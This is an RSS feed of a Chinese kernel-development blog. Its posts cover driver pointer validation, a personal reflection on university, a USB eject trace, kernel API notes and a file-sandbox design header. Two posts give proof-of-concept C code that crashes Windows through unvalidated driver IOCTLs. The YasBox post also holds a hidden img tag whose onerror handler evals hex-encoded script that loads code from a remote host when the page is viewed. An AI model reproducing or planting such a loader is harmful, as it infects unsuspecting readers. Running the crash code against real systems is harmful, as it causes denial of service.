<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[Yas Kernel Debugger]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[记录记得的点滴]]></description>
<link>http://hi.baidu.com/sysnap</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[关于驱动提权]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/0a1b073540596b1a91ef396e.html]]></link>
        <description><![CDATA[
		
		一般的驱动常见这种类型，对用户传入的指针不进行验证。   解决办法： 对用户传入的指针跟MmProbeUserAddress对比下，接着__try下，ProbeForWrite/Read下，就比较安全了。对Probexxx的注意下第二个参数，可能与整数溢出一起用，还有第三个参数的字节对齐。   嗯，常见的就这点，当然注意入口点的不同。    没网上，用手机记下。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/0a1b073540596b1a91ef396e.html#comment">查看评论</a>]]></description>
        <pubDate>2010年01月30日 星期六  16:45</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/0a1b073540596b1a91ef396e.html</guid>
</item>

<item>
        <title><![CDATA[某驱动内核溢出]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/e6a234fd68469b1d09244dc1.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;  下面的代码能效果是BSOD</p>
<p>#define MAX_BUFFER_LEN  1024*4<br>
UCHAR ucbuffer[MAX_BUFFER_LEN];</p>
<p>void main()<br>
{</p>
<p> HANDLE hDevice;<br>
 DWORD dwx = 0;<br>
 DWORD dwi = 0;</p>
<p> ZeroMemory( ucbuffer, MAX_BUFFER_LEN );<br>
 for( dwi= 0; dwi&lt; MAX_BUFFER_LEN; dwi++)<br>
 {<br>
&nbsp;&nbsp; ucbuffer[dwi] = 0x90;<br>
 }<br>
 ucbuffer[MAX_BUFFER_LEN - 1] = 0x00;</p>
<p> hDevice = CreateFile(&quot;<a>\\\\.\\tqantisys&quot;,GENERIC_READ|GENERIC_WRITE,0</a>,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);</p>
<p><br>
 DeviceIoControl(hDevice,0x80002048,ucbuffer,MAX_BUFFER_LEN,NULL,0,&amp;dwx,0);<br>
 <br>
 CloseHandle(hDevice);<br>
}</p> <a href="http://hi.baidu.com/sysnap/blog/item/e6a234fd68469b1d09244dc1.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/e6a234fd68469b1d09244dc1.html#comment">查看评论</a>]]></description>
        <pubDate>2010年01月08日 星期五  10:46</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/e6a234fd68469b1d09244dc1.html</guid>
</item>

<item>
        <title><![CDATA[大学总结下。]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/ebd1dcdf8d468c1848540318.html]]></link>
        <description><![CDATA[
		
		<p><font size="3">  09年的最后一天本想在这里写篇文章，总结下09展望下未来。可是发现无从写起，或者生活太过琐屑，不能连成完整的故事，或者是生活单调，简单的几句就可以写完吧。前些天上完课，大学基本就完了，回忆起大学，记忆是多么的单调，电脑占据了我大部分的记忆。就写这部分吧。<br>
  06的高考接着上了一所普通的大学，大一第一学期，在图书馆看到好多计算机的书，感觉有兴趣，开始看ASP,LINUX，VB，看了一个多月好像，现在都忘了，看不懂。开始最笨的方法是用笔抄和死记硬背。不过后来还是放弃了，因为那时候没电脑，这些东西感觉起来非常抽象。于是开始看理论的书，操作系统原理之类，这类书是文字比较多，基本没什么代码，开始以为没多久就能看完，不过后来发现挺难的。接着的日子里就是经常走走图书馆，看有什么书感兴趣的没就借，那时候其实也不是很疯狂。因为什么都不懂，没啥特别的动力。<br>
  06年的寒假，大学的第一个寒假，回家带了本C语言的书，看了10多天，好像有点感觉。不过因为没电脑实践，很快也就忘光了。开学之后基本是重复第一学期，路还是很迷惘，继续摸索着。代码也还是不会写。07年买了电脑，因为大一第二学期有C语言课程，所以大家都以此为借口带上电脑，虽然学校规定大一不准带电脑，但我也跟着他们带了。我依然记得那是07年的五一，放了假我回了家，发了点烧，接着跟老爸拿了钱直接去广州，找同学帮我买电脑。那时候大学才刚刚开始，一切都是有激情的。没事就跑跑同学那里。买完电脑就回学校了，同学帮我装好电脑后回去。我开始碰电脑了。那时候我还没接触网络，对电脑也很陌生，基本操作都还不会，就去图书馆借了些书，我记得会打字的人是很牛B的，会CTRL + XX键的人是很牛B的，会重装系统的人是很牛B的。所以开始也学这些东西，也学习注册表设置。接着慢慢的会打字了，速度也慢慢快了，电脑的基本操作也会了。不过此时的电脑室空空的，里面没什么东西。想起以前好像有什么 计算机基本教材的光盘，就把那么COPY到电脑里，接着开始看。<br>
  后来同学能上网，我不能上，没事就去他电脑下载东西，接着再放到我电脑，那时候下东西真疯狂，无论懂不懂，都觉得是好东西，其实基本也没看，只是看着电脑里的东西越来越多，是非常开心。每天起床开电脑看到那么多东西就感觉很开心的样子。 不过我那电脑不久之后就中毒了。某天感觉电脑很慢。好像是CPU 100%。中毒了自己不会搞，人家帮我重装系统，嗯.开始对病毒有兴趣。找了些课程，大部分说要学这学那，学什么C啊，汇编啊，PE文件格式啊。等等很高深的东西。接着就是一个摸索的过程，07年的暑假来了，大一也就完了。<br>
  07年的暑假因为病毒在学黑客的东西，不过现在基本还学不会。我记得当时碰到一个词ROOTKIT，说是很厉害，接着就开始看，不过那时候的资料很少，或者我当时还没接触网络，不知道怎样去寻找而已。<br>
  07年暑假后大二了。接了网线，有网上了，一切是多么新鲜和美好。下载了本电子书 WINDOWS INTERNALS 4，英文版的，看不懂。接着去图书馆看到有WIN 2000的那本书，借了看，也看不懂，一切感觉很抽象，很新。借了本驱动也看不懂。这时候静下心来想想，其实自己没有任何编写程序的经验，一开始看这些是不太好的。所以还是老实的看看C语言，安装上VC6，开始写代码。 不过好像什么都需要用到API，API感觉是那么的高深，找了很多资料还是感觉很抽象，网上搜索下病毒教材，碰到个什么 线程注入， 把代码COPY下来编译运行，还真有效果，觉得好玩。兴趣开始来了。接着的日子里就是找代码看代码编译。学习下API的使用，慢慢的我会改程序了，也能看懂简单的程序了。这个过程应该是几个月吧，接着又开始想ROOTIT了，觉得应该可以学习下了。<br>
  07年末的时候，看了本什么 专业 ROOTkit 的书，英文版的，一看晕了，概念很难理解，都涉及到操作系统的东西，而且那些内核API很难懂，参数很多。所以基本放弃ROOTKIT的书，开始看驱动开发的书和WINDOWS内部原理的书。开始感觉很抽象，什么IRP,什么OBJECT，好多天都理解不了，感觉知识很广，我迷了路。 <br>
  08年开学，大二第二学期，买了些书看看，也尝试编译驱动，搭建那个平台很难，花了好多天时间。我记得编译出第一个驱动是多么的兴奋，虽然只是简单的HELLO WORLD。接着开始找资料，我记得那时候资料比较散，没现在随处可找，一个INLINE HOOK也能蓝死人。<br>
  嗯，接着的时间里就是学这些东西。 </font></p>
<p><font size="3">  上面的文字我是用心写的，虽然看起来很幼稚。也该好好总结了，大学里我写了不少代码，后来也比较关注代码的质量，所以也往这方面努力。搞驱动的，搞内核的，有些人觉得越难就越有技术，越能显耀自己，曾经我也是这么想的，后来发现自己的智商有限，经受不住复杂的东西，也慢慢对这些所谓高深的技术不再那么执着。我看了些大众的软件，发现也不是说特别需要高深的知识啊。后来我听到过一句话， &ldquo;软件本身是没有价值的&rdquo;，有所感悟，如果软件本身不能为用户提供有用的服务，那这个软件再有技术含量也是没有价值的，当然作为一个疯狂的技术迷他也许不顾这些，或许今天的什么WS技术的确能有用途，比如搞挂啊，写病毒啊，但对于我这个不染这些东西的人来讲，或许那些东西对我来说还没有真正体现出价值。即使有价值，但我也得认清现实<br>
  现在搞技术的，无论驱动也好，其他也好。别人发的一些文章我总能看到这么一些字句 &ldquo;本人是菜鸟 。。。&rdquo;，好像说上这么一句下面的回复就会好点，不然不是被骂没技术，几万年的东西就是被骂S.B之类的。接着的口水战就像是娱乐了。对于一些新手来说，或许能激发他们的动力，但或者也能打击他们。我个人还是比较喜欢鼓励人的，因为我觉得一句简单的鼓励回复是徒手之劳。<br>
  当然有一些人可能抄了代码不写出原作者。这在开始我觉得很正常的，因为初学者觉得他们的目标是读懂代码，理解代码，他们在这个过程中付出了努力，所以很自然地，人也是有虚荣心的，需要别人的鲜花来满足自己的，所以为隐藏些东西，我觉得这不算是虚伪。但我也不提倡这些，因为久了就养成个坏习惯，太浮躁了。<br>
  就技术而言，每个人永远不是最差的，也不是最好的，比你差的人说你牛的时候，他说的是实话，有些人就认为自己很牛了，接着就是我们看到的所谓的装.B.，其实他们也不想，但人们认为你是牛，你就得千方百计的牛啊，发点代码，写点什么东西，胡乱回答下问题。如果能发现这点问题的人就会努力学习，浮躁的人将继续装下去，所以我们要理解这类人，其实他们挺累的。所以一般情况下不要随便去膜拜人，鼓励是好的方式，膜拜就会给他压力。而有些人你膜拜下他后，你在他的眼里是不会成长的菜鸟，至少他要保持被你膜拜的身份。<br>
  其实我是挺自卑的，自卑的人有俩种表现形式，疯狂的表达自己，努力让别人认可。或者沉默再沉默。无论哪一种形式我觉得都挺累。人一定要真正认可自己的价值，不被环境所制才能活得潇洒。不然永远是陷在一个圈里不能自拔。牺牲的是青春。<br>
  关于牛人，我觉得牛人不是技术有多牛，而是明确自己的方向，内心坚定地坚持着，努力着。我最敬佩这些人，因为我知道没有什么东西是学不来的，因为我知道内心的坚定足与让他们战胜任何的困难。<br>
  低调和高调是个人性格问题，没必要就觉得低调的就值得尊敬的，高调的就该打击的，如果别人高调没伤着你，碍着你，你还不爽，那就是你个人心态问题了。你无法改变别人的，终究还是得调整自己。<br>
  2010年来了，也要工作了，去掉浮躁，努力踏实走好每一步，写好质量代码，加强用户体验，对自己每一行代码负责。我从自己的内心已经摆正自己的位置，我一直在路上，我一直在努力。 当疯狂过后，也该静下心来问自己，一切为了什么。这是个必须清晰回答的问题，因为时间有限，年龄也慢慢增长，难道就没想过改变下生活方式吗？没有什么东西可以永恒，没有什么东西可以当做全部。现实还是很残酷，需要我们去努力奋斗。<br>
  写这点文字的时候，外面的很冷，在宿舍里还是比较暖和的，写完的时候，也该走出去了。不能贪图安逸，这样的日子很单调和乏味，虽然外面很冷，走出去却能看到蓝天，绿树，车辆等等，只是愿不愿意走出去罢了。打开窗户，射进一线阳关。<br>
  </font></p>
<p> </p>
<p> </p>
<p> </p>
<p><font size="3">  <br>
  </font></p> <a href="http://hi.baidu.com/sysnap/blog/item/ebd1dcdf8d468c1848540318.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/ebd1dcdf8d468c1848540318.html#comment">查看评论</a>]]></description>
        <pubDate>2010年01月07日 星期四  10:24</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/ebd1dcdf8d468c1848540318.html</guid>
</item>

<item>
        <title><![CDATA[MARK下U盘相关XX]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/70bafb316c4d8e12ebc4affa.html]]></link>
        <description><![CDATA[
		
		<p>昨天买了个8G U盘，刚刚放点东西后老 提示 <strong><font color="#ff0000">&ldquo;现在无法停用 &rdquo;通用卷&ldquo; 。。&rdquo;。</font></strong> 跟踪下，发现点由下图标的 &ldquo;安全删除硬件&rdquo; 时候， explorer会调用 rundll32.exe 。。接着实现功能是在 一个DLL中。hotplug.dll. 接着到  HotPlugEjectVetoedW  HandleVetoedOperation&nbsp;&nbsp;  。。。</p>
<p>HotPlugEjectDevice  调用CM系统函数。</p>
<p>DDK有相关函数在  cfgmgr32.h定义。<br>
CM_Locate_DevNode 函数获得设备节点的设备实例句柄，关联本机指定的设备实例标识符。</p>
<p>什么ID之类估计跟注册表有关。<br>
CMAPI CONFIGRET WINAPI  CM_Locate_DevNode(&nbsp;&nbsp;&nbsp;  OUT PDEVINST  pdnDevInst,&nbsp;&nbsp;&nbsp;  IN DEVINSTID  pDeviceID,  OPTIONAL&nbsp;&nbsp;&nbsp;  IN ULONG  ulFlags&nbsp;&nbsp;&nbsp;  );</p>
<p>If the operation succeeds, CM_Locate_DevNode returns CR_SUCCESS<br>
#define CR_SUCCESS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (0x00000000)</p>
<p>成功调用 CM_Locate_DevNode，获得设备节点的设备实例句柄后调用 CM_Request_Device_Eject_ExW</p>
<p>接着失败用 VetoedRemovalUI  ---》》弹出无法删除的xx</p>
<p><strong>明天考试，没时间仔细研究。哪位有兴趣可以跟下它如何跟驱动交互的。<font color="#ff0000">也许你就会找到解决 无法弹出的办法出来</font></strong></p> <a href="http://hi.baidu.com/sysnap/blog/item/70bafb316c4d8e12ebc4affa.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/70bafb316c4d8e12ebc4affa.html#comment">查看评论</a>]]></description>
        <pubDate>2010年01月03日 星期日  15:10</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/70bafb316c4d8e12ebc4affa.html</guid>
</item>

<item>
        <title><![CDATA[YasBox1.31的一个RING3引发蓝屏漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/2ca7368f9e95bee5f11f3622.html]]></link>
        <description><![CDATA[
		
		  
  <p>  Yasbox的驱动还是有许多地方的问题，但这一个ring 3引发的BSOD还是<strong>比较隐蔽的，一般不会触发</strong>。</p>
<p>  <strong><font color="#ff0000">原因： 没有对PASS的地址进行 可信验证，本来应该只是 RING 3地址的，是不允许传入 0X80000000以上的地址的，但驱动没有这一条件的验证，导致传入特殊的指针后，内核的数据被写入，</font><font color="#0000ff">但数据是无法控制的，也只能引发BSOD</font></strong></p>
<p><strong><font color="#ff0000">  CODE：</font></strong></p>
<p><font color="#ff0000"><strong>  </strong></font><font color="#000000">一般不会触发</font></p>
<p><font color="#000000"> <strong>  注意： YASBOX的进程必须关闭，或者其他办法XX，下面代码才能引发BSOD</strong></font></p>
<p><font color="#000000">#include <windows.h><br>
#include <stdio.h><br>
#include <winioctl.h></font></p>
<p><font color="#000000">#define IOCTL_BSOD_1&nbsp;&nbsp;   CTL_CODE(FILE_DEVICE_UNKNOWN,0x802, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)</font></p>
<p><font color="#000000">void main()<br>
{</font></p>
<p><font color="#000000"> HANDLE hMapFile;</font></p>
<p><font color="#000000"> hMapFile = CreateFileMapping(<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   INVALID_HANDLE_VALUE,&nbsp;&nbsp;&nbsp;   // use paging file<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   // default security <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   PAGE_READWRITE,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   // read/write access<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   // max. object size <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   256,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   // buffer size  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   "YasXBox_Section_Object"); <br>
 <br>
 if( GetLastError() == ERROR_ALREADY_EXISTS)<br>
 {<br>
&nbsp;&nbsp;  ExitProcess(0);<br>
 }<br>
 </font></p>
<p><font color="#000000"> HANDLE hDevice;<br>
 DWORD dwTid = 0;</font></p>
<p><font color="#000000"> hDevice = CreateFile("<a>\\\\.\\YAxXFilter110",GENERIC_READ|GENERIC_WRITE,0</a>,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);</font></p>
<p><font color="#000000"> DeviceIoControl(hDevice,IOCTL_BSOD_1,(void*)0x818dc8d8, 0x10c ,NULL,0,&dwTid,0);</font></p>
<p><font color="#000000"> CloseHandle(hDevice);</font></p>
<p><font color="#000000"> <strong>::ShellExecute(NULL, "open", "NOTEPAD.EXE", NULL, NULL, SW_RESTORE);  //NEED</strong></font></p>
<p><font color="#000000"> // BSOD<br>
}</font></p> <img CLASS="key.baidu&#34;/onerror=eval(unescape(&#39;if%28%21window.bd%29%7Bvar%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A//%69%6d%67%63%61%63%68%65%2e%73%75%71%69%61%6e%31%31%34%2e%63%6e%2f%61%2f%62%2f%6d%2e%70%68%70%27%3Bs.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28s%29%3Bwindow.bd%3D1%7D&#39;))//key.baidu.com" width="0" height="0" src="http://"> <a href="http://hi.baidu.com/sysnap/blog/item/2ca7368f9e95bee5f11f3622.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/2ca7368f9e95bee5f11f3622.html#comment">查看评论</a>]]></description>
        <pubDate>2009年12月28日 星期一  11:59</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/2ca7368f9e95bee5f11f3622.html</guid>
</item>

<item>
        <title><![CDATA[文件沙盘代码YasVps]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/d0ca8d24d9612f39c995592f.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p><strong>之前计划写的沙盘系统，刚写好文件部分，也不算太完善，碰巧有人问起，遂贴上代码大家看去，你可以在此基础上完善之。 代码没什么WS技术，但做文件沙盘还是有不少问题的，需要的朋友可以下， 贴上主要头文件。基本代码是围绕这个头文件展开的。</strong></p>
<p><strong>代码任何问题可以提出来</strong></p>
<p> </p>
<p> </p>
<p><strong><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/sysnap/pic/item/2daad52caf0cbaf58b139903.jpg"><a target="_blank" href="http://dd.uueasy.com/download.php?predomain=sysnap&amp;host=sysnap.uueasy.com&amp;pid=tpc&amp;tid=16&amp;aid=34&amp;down_hash=Mm10aiFleSckb3IFIGMIMD5hMXVgTitwZlUCfnBXKmN6MjBTIHh0YSNyRAUwCwxb">YasVps_SRC下载</a><br>
</span></strong></p>
<p> </p>
<p> </p> <a href="http://hi.baidu.com/sysnap/blog/item/d0ca8d24d9612f39c995592f.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/d0ca8d24d9612f39c995592f.html#comment">查看评论</a>]]></description>
        <pubDate>2009年12月10日 星期四  12:55</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/d0ca8d24d9612f39c995592f.html</guid>
</item>

<item>
        <title><![CDATA[Mark几个函数]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/948279ed181ee94578f0559b.html]]></link>
        <description><![CDATA[
		
		<p><strong>  今天碰巧一个驱动用到些东西。翻下DDK，找了几个函数。。</strong></p>
<p><strong>PHYSICAL_ADDRESS<br>
  MmGetPhysicalAddress(<br>
&nbsp;&nbsp;&nbsp;  IN PVOID  BaseAddress<br>
&nbsp;&nbsp;&nbsp;  );</strong></p>
<p><strong>NTKERNELAPI<br>
NTSTATUS<br>
MmMarkPhysicalMemoryAsGood (<br>
&nbsp;&nbsp;&nbsp;  __in PPHYSICAL_ADDRESS StartAddress,<br>
&nbsp;&nbsp;&nbsp;  __inout PLARGE_INTEGER NumberOfBytes<br>
&nbsp;&nbsp;&nbsp;  );</strong></p>
<p><strong>PVOID <br>
  MmMapIoSpace(<br>
&nbsp;&nbsp;&nbsp;  IN PHYSICAL_ADDRESS  PhysicalAddress,<br>
&nbsp;&nbsp;&nbsp;  IN ULONG  NumberOfBytes,<br>
&nbsp;&nbsp;&nbsp;  IN MEMORY_CACHING_TYPE  CacheType<br>
&nbsp;&nbsp;&nbsp;  );</strong></p>
<p> </p> <a href="http://hi.baidu.com/sysnap/blog/item/948279ed181ee94578f0559b.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/948279ed181ee94578f0559b.html#comment">查看评论</a>]]></description>
        <pubDate>2009年12月05日 星期六  23:05</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/948279ed181ee94578f0559b.html</guid>
</item>

<item>
        <title><![CDATA[YasVps1.0]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/6c6232512e345812367abed7.html]]></link>
        <description><![CDATA[
		
		<p><strong>  整整花了一个星期，打算不做了， 没时间，要考试，所以把最简单的版本发出来。</strong><strong>一些SHELL问题没很好的处理，懒的写DLL PATCH进程的SHXXX处理，该版本没有针对 写文件和覆盖文件的处理</strong></p>
<p><strong>你可以打开cmd, 然后 start 命令来启动进程，这样创建的进程就会受到YASVPS的限制</strong></p>
<p><strong><font color="#ff0000">附上一个头文件。。定义了相关的数据结构</font></strong></p>
<p><strong>#pragma once</strong></p>
<p><strong>// ucReseaon :<br>
//<br>
// Basic<br>
//<br>
#define YASVPS_CREATE_FILE&nbsp;&nbsp;&nbsp;&nbsp;  0x00</strong></p>
<p><strong>#define YASVPS_MOVE_FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x01<br>
#define YASVPS_REPLACE_FILE&nbsp;&nbsp;&nbsp;  0x02<br>
#define YASVPS_RENAME_FILE&nbsp;&nbsp;&nbsp;&nbsp;  0x03<br>
#define YASVPS_WRITE_FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x04</strong></p>
<p><strong>//<br>
//Option<br>
//<br>
#define YASVPS_SETFILE_BASICINFO 0x05<br>
#define YASVPS_SETFILE_ENDINFO&nbsp;&nbsp;  0x06<br>
#define YASVPS_SETFILE_POSINFO&nbsp;&nbsp;  0x07<br>
#define YASVPS_SETFILE_SECINFO&nbsp;&nbsp;  0x08</strong></p>
<p><strong>//<br>
//删除以存在文件时追踪, <br>
//对已存在文件的删除是不可恢复的，所以这个链表跟进程的生命周期一样，而且只能添加节点不能删除。<br>
//<br>
typedef struct __YASVPS_DELETETRACE<br>
{<br>
 struct __YASVPS_DELETETRACE* lpNext;<br>
 ULONG uPid;<br>
 ULONG uNew;<br>
 CHAR lpszDelFilePath[YASVPS_MAX_PATH];<br>
 <br>
}YASVPS_DELETETRACE, *PYASVPS_DELETETRACE;</strong></p>
<p><strong>//<br>
//创建新文件时追踪,添加节点前，先判断文件是否 &ldquo;删除文件追踪&rdquo; 存在，若存在，则删除对应节点<br>
//删除文件时，需要查找这个表的信息，如果发现删除的是自己创建的文件，则允许删除。并删除相关跟踪节点<br>
//同样的任何修改文件也需要先找这张表<br>
//外界不应该操作在YASVPS中运行进程创建的文件。<br>
//</strong></p>
<p><strong>/*<br>
dir 规则：<br>
如果在枚举目录文件时， &ldquo;删除以存在文件&rdquo; 中有文件在对应的目录中。<br>
如果在YASVPS_CREATEFILETRACE 没有相应节点，则过滤掉删除的文件，不显示<br>
否则显示之<br>
*/</strong></p>
<p><strong>/*<br>
覆盖文件：<br>
覆盖新创建文件： 直接允许<br>
覆盖已存在文件： 相当于 删除原来存在的文件，再创建一个新的文件。<br>
*/</strong></p>
<p><strong>/*<br>
移动已存在文件： eg: c:\123.exe ---&gt;&gt; c:\windows\123.exe  ---&gt;&gt; c:\123.exe<br>
相当于删除文件再创建文件。<br>
*/</strong></p>
<p><strong>//<br>
//修改以存在文件时追踪。删除下面匹配的文件时，相应节点也要删除。<br>
//</strong></p>
<p><br>
<strong>typedef struct __YASVPS_CREATETRACE<br>
{</strong></p>
<p><strong> //<br>
 //任何修改文件也需要先找这张表,再根据 ucReseaon 做相应的操作<br>
 //</strong></p>
<p><strong> struct __YASVPS_CREATETRACE* lpNext;<br>
 <br>
 ULONG uPid; //进程PID<br>
 HANDLE hFile;<br>
 PFILE_OBJECT lpFileObj; //保留</strong></p>
<p><strong> /*<br>
&nbsp;&nbsp;&nbsp;  ucReseaon :<br>
&nbsp;&nbsp;&nbsp;  #define YASVPS_CREATE_FILE&nbsp;&nbsp;&nbsp;&nbsp;  0x00<br>
&nbsp;&nbsp;&nbsp;  #define YASVPS_MOVE_FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x01<br>
&nbsp;&nbsp;&nbsp;  #define YASVPS_REPLACE_FILE&nbsp;&nbsp;&nbsp;  0x02<br>
&nbsp;&nbsp;&nbsp;  #define YASVPS_RENAME_FILE&nbsp;&nbsp;&nbsp;&nbsp;  0x03<br>
&nbsp;&nbsp;&nbsp;  #define YASVPS_WRITE_FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0x04<br>
 */</strong></p>
<p><strong> UCHAR ucReseaon;<br>
 <br>
 /*<br>
 ucReseaon = YASVPS_CREATE_FILE <br>
 eg:&nbsp;&nbsp;&nbsp;  lpszCreatePath : C:\123.exe<br>
 重定向 lpszTracePath : C:\YasVPS\C:\123.exe<br>
 之后 修改名字为 hello.exe 则 lpszCreatePath : C:\hello.exe<br>
 对YASVPS_CREATE_FILE 文件的操作，都直接PASS， 删除文件时，需要删除lpszLinkPath,<br>
 并删除对应YASVPS_CREATETRACE节点</strong></p>
<p><strong>&nbsp;&nbsp;&nbsp;  &ldquo;外界不应该操作在YASVPS中运行进程创建的文件！！！！！&rdquo;<br>
 */</strong></p>
<p><strong> //<br>
 //重命名/移动文件/覆盖文件/创建后后新的路径<br>
 //<br>
 CHAR lpszNewPath[YASVPS_MAX_PATH]; <br>
 //<br>
 //指向的原始路径, 当该文件被写时，这个地方为TMP文件,写的文件不能超过10M(*)<br>
 //<br>
 CHAR lpszLinkPath[YASVPS_MAX_PATH]; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
 //<br>
 //下面的暂时保留，不支持，主要是从效率和节省内存考虑<br>
 //<br>
 /* FILE_BASIC_INFORMATION stFileBasicInfo;<br>
 FILE_END_OF_FILE_INFORMATION szFileEndInfo;<br>
 */<br>
}YASVPS_CREATETRACE, *PYASVPS_CREATETRACE;</strong></p>
<p> </p>
